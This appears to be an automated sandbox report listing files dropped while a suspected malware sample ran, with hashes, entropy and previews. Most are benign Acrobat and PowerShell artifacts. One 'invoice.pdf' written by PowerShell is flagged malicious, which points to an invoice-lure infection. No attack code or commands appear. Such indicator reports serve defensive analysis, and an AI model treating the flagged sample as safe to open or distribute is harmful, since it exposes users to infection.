Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a3672de9ba6cc569fa76ce60720c6e93","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736576741000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"755effc76caa2aded59fc0bf970d99eb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736576741000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"dc6e6c1360c4a6923a8794076c771854","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736576741000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3479ef6dd9811c102066761b09082cc1","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736576741000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"1fc8712a39a8ef7cb63a78ade877ff45","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736576741000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"43d10e69011c158e605a3c0bd982d53c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.320352042750834
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YAIplE+EXSQ:TGufl2GL7msUKB0M0+Tb608YA+nro+G
MD5:	B28976D92956717175C7B2B90352E7F6
SHA1:	56F81A8F1B7283F973D48B2C1AB9DC1ADD561F25
SHA-256:	F86585D162A30E75E6097DFD6222E6F9045473E59B41ADCFD99DF7A2FD56BC64
SHA-512:	AFC445F852C6C83228DC8B7E77071BEB32536125E116962AC6A91F20F5BC00EA89F176E8BAF696C952A87C881ED9CDFF9F7EA7091B1E4D967592DFA33CC11987
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7822726550533643
Encrypted:	false
SSDEEP:	24:7+tel3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YAIplE/EXSqXlyGKaivqLhx/XY7:7MMKB0M0+Tb608YA+WrGKzqFl2GL7msu
MD5:	9B0CD1F6BACA6EC8E0E8B45D4597BC5F
SHA1:	E8B496E403E2777600F610F365EAF7CE994123E2
SHA-256:	AF98A68B8C6AB26FB7C702A2A168A8B2FA9923E17688B97ED1B86252FF394A42
SHA-512:	7E181A6C28A1836857276E3CF916D94F8903DB18791F8FF6AEF8F1F951F4DC177A6F4EB75C55658384D913F3FA6D40B275F201DA1ECAD67C824D701D60E057D0
Malicious:	false
Preview:	.... .c.....V.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg4vJrB7/uEE+QfVRToIGIo/7qN3Yyu:6a6TZ44ADE4vJF/uEE/fVe7E3K
MD5:	00FBDBC44BE58F708DCAC2E178F19585
SHA1:	FC6CDFA5C0D6F274146798C3DD0B9484E7217083
SHA-256:	55890D0ACC83CD19B6E3834CEF745D99742F28B04C2C90D980DC928AAA7E4A68
SHA-512:	21AD07EFC3162A287E4EA7412E7888CCB8D2F3A2B960AAFA0666176397C5E331C4E19B118A24FCF0E02C70700342D48A3F522EAB86CDECD97356D31715C5ED3B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIf3b55.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl877w:Qw946cPbiOxDlbYnuRKdf7w
MD5:	B8EDB82B5D61992882DAFE98CDC0A138
SHA1:	C8378142A68FDA61D479CEF417F97783F828F917
SHA-256:	DF83B99BB9E7942BAED2590D0A7C10B3D810A05B1617491C94B23780B24A357D
SHA-512:	84A2EF5E67968F18B2AE8BF4576F6E198A18D8A7B275A740458C1358F3D4B7A3EA68FF9EC008FBF60C5891A3908D7BE38E247F848A13B1239AF8A511199D30F4
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.2.5.:.3.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j1j5keux.21i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rxr5xs0h.4ac.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91qwvi3x_484ypb_394.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9pjdhwc_484ype_394.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-25-34-041.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.351580673700105
Encrypted:	false
SSDEEP:	384:Z28bEu1d098jlLxKwZSXJXSnbcRhIp1u30x1j3jMB6chXkaxL+K7DziTaLRlHO+N:/7K
MD5:	E02F36E1C132FDD11F2B1C44FE5E0F1C
SHA1:	6418628A7238B912DBE98F90BD5A6638D54737BF
SHA-256:	457856F87BCA03D1E523AF865241E7F002A015023E419FE5EFF040102DDC373B
SHA-512:	5C74CD9491324FA5E15D56AB6DBC9300530A38CD3CBC3985DBE87F52CE7FAEF062BA033CF1592589D817FA04F9B0A3049A38ED5152D1FA7C193D73FC2BBD1E52
Malicious:	false
Preview:	SessionID=6fed184f-5357-4937-afea-f42c68153f07.1736576734058 Timestamp=2025-01-11T01:25:34:058-0500 ThreadID=8640 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6fed184f-5357-4937-afea-f42c68153f07.1736576734058 Timestamp=2025-01-11T01:25:34:065-0500 ThreadID=8640 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6fed184f-5357-4937-afea-f42c68153f07.1736576734058 Timestamp=2025-01-11T01:25:34:065-0500 ThreadID=8640 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6fed184f-5357-4937-afea-f42c68153f07.1736576734058 Timestamp=2025-01-11T01:25:34:065-0500 ThreadID=8640 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6fed184f-5357-4937-afea-f42c68153f07.1736576734058 Timestamp=2025-01-11T01:25:34:065-0500 ThreadID=8640 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399491501868561
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmM:EGvIcNYd2LI
MD5:	C17868EBB07306B36AD27A8A40BAF3F8
SHA1:	76CF9ABB8EB81F9D94E4912DD07AC828E0A194E4
SHA-256:	A776EBFA208ADD1D26239BA7E6929554903696AB89078A5B9626158006FCCBE4
SHA-512:	11B77C6263906EDB4845DA4142D17C557E9D7E6D50FCAF7D5B2B2531FADB1451FD5B5F58C237957B5FAD5EB78A03656CCE10CE708A93A0970292BA5BA655E5D6
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2113a248-8664-4805-a4b4-8ac5f27372b3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\60c59fb1-54db-44cf-aa1c-5257412c1372.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\83d3af71-1423-4b35-9689-f2b7c3016315.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xwYIGNP4meWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:ZwZG6XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	8120D0F6C3E7FE6C6AA6836461A3979A
SHA1:	D02DCEA0B32809957CA61A414DD1DE0960F2DFA5
SHA-256:	846EA50561F8FB5BC02AEA4CAC1F096341029280BF67CC41C2F0DF76E4739AD5
SHA-512:	2BD571AF0B100E797F30349D6DC43C8B1C9C1D21B54D11A431E492751D57BD86AC69E9A671BEC0E3645CE2430DA4B423C71A966FD953B6D99D9A1463358FF4C4
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cc5a5047-b651-4d23-b713-ce0eeca91f14.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
